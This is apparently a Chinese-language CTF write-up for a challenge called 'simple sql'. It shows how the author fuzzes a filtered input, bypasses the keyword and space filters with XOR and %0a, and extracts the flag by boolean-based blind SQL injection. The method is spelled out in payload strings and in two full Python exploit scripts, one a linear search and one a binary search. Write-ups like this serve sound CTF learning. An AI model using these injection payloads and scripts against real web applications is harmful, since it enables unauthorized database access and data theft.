#writeup# simple sql 简单的sql过滤绕过

题目地址:http://polarlicht.xyz:8302/

寻找注入点

#writeup# simple sql 简单的sql过滤绕过
只有一个输入框,抓包看是post提交。

#writeup# simple sql 简单的sql过滤绕过
依次输入

  • ‘ => bool(false)
  • and 1=1 => SQL Injection Checked.
  • 2 => 显示正常
  • 3 => Error Occured When Fetch Result.
    看起来有过滤,先fuzz下过滤了哪些关键词,利用intrude模块:
    (下载了一份fuzz dict: dictionary-master)
    使用 sql_fuzz.txt 字典
    #writeup# simple sql 简单的sql过滤绕过
    可以看到,被过滤的关键字返回长度485。and/or/ord/union/xor/%20 都被过滤了。
    #writeup# simple sql 简单的sql过滤绕过

但是 ascii/regexp/substr等函数都没过滤。xor被过滤,但是 ^/|/= 没有过滤,所以可以构造一个true表达式:
0^(2>1) => Hello this is Aurora
0^(2>1) => Error Occured When Fetch Result.
#writeup# simple sql 简单的sql过滤绕过
因此,注入点就是:
0^(TRUE表达式) => 返回 Hello this is Auro
0^(False表达式) => 返回 Error Occured When Fetch Result.

构造注入语句

这里以ascii为例,参考:https://www.anquanke.com/post/id/160584#h2-11

ascii(mid((password)from(i)))>j

这个语句中,涉及到mysql的 mid 和 ascii 函数

mid函数的使用方法:
正常的用法如下,对于str字符串,从pos作为索引值位置开始,返回截取len长度的子字符串
MID(str,pos,len)
这里的用法是,from(1)表示从第一个位置开始截取剩下的字符串,from(0)是没有值的。for(1)表示从改位置起一次就截取一个字符,本题for被过滤了。

对应的构造select语句:

select flag from flag //要返回str,要求flag表只有一行
mid((select flag from flag )from(1))  // 获取第一个
ascii(mid((select flag from flag )from(1)))=102 // ascii(‘flag‘) 默认只返回f的ascii值,f对应102
ascii(mid((select%0aflag%0afrom%0aflag)from(1)))=102 // 绕过空格过滤  

#writeup# simple sql 简单的sql过滤绕过

正常显示 id=1 的内容,说明答案的第一个字符是f。

编写 exp 程序

知道了注入点,剩下的就是自动化。
#writeup# simple sql 简单的sql过滤绕过
先在python里面验证下,发现同样的payload,在burp可以,代码却不行。唯一的原因就在 %0a 这个编码的地方了。
参考这篇文章:https://blog.csdn.net/M1mory/article/details/58309378
#writeup# simple sql 简单的sql过滤绕过
加上代理,自己在burp可以看到requests发包的情况,还要加上 content-type 头部,否则无返回信息
#writeup# simple sql 简单的sql过滤绕过

基于此,写出exp代码:

import requests

dict = "fabcdeghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_1234567890{}"

url = "http://polarlicht.xyz:8302/index.php"
headers = {"Content-Type" : "application/x-www-form-urlencoded"}
proxy = {"http" : ‘http://127.0.0.1:8080‘}

ret = []
for i in range(1,20):
    for c in dict:
        payload = "id=0^(ascii(mid((select%0aflag%0afrom%0aflag)from({0})))={1})".format(str(i), str(ord(c)))
        r = requests.post(url, data=payload, headers=headers, proxies = proxy)
        if len(r.text) == 299:
            ret.append(c)
            print("[%d]%s=>%s\t%s" % (i, c, len(r.text), payload))

print(‘‘.join(ret))

#writeup# simple sql 简单的sql过滤绕过

这段代码速度太慢,用二分法进行代码优化:

import requests

url = "http://polarlicht.xyz:8302/index.php"
headers = {"Content-Type" : "application/x-www-form-urlencoded"}
proxy = {"http" : ‘http://127.0.0.1:8080‘}

def check(i, index):
    payload = "id=0^(ascii(mid((select%0aflag%0afrom%0aflag)from({0})))={1})".format(i, index)
    r = requests.post(url, data=payload, proxies=proxy, headers = headers)
    if r.text.find(‘Hello‘) >= 0:
        return 0

    payload = "id=0^(ascii(mid((select%0aflag%0afrom%0aflag)from({0})))>{1})".format(i, index)
    r = requests.post(url, data=payload, proxies=proxy, headers=headers)
    if r.text.find(‘Hello‘) >= 0:
        return 1

    return -1

# 二分实现
mids = []
for i in range(1, 20):
    # ascii 可显示字符是33到126
    start = 33
    end = 126
    mid = (start + end) // 2


    while start <= mid:
        if check(i, mid) == 0:
            mids.append(mid)
            break

        if check(i, mid) > 0:
            start = mid
            mid = (start + end) // 2
        else:
            end = mid
            mid = (start + end) // 2
        tmp = "start=>{0},mid={1},end={2}".format(start,mid,end)
    print(‘‘.join(chr(x) for x in mids))

#writeup# simple sql 简单的sql过滤绕过





#writeup# simple sql 简单的sql过滤绕过

上一篇:回到javaweb的第五天(六)(DCL数据库的管理 更改用户的权限)


下一篇:JDBC的使用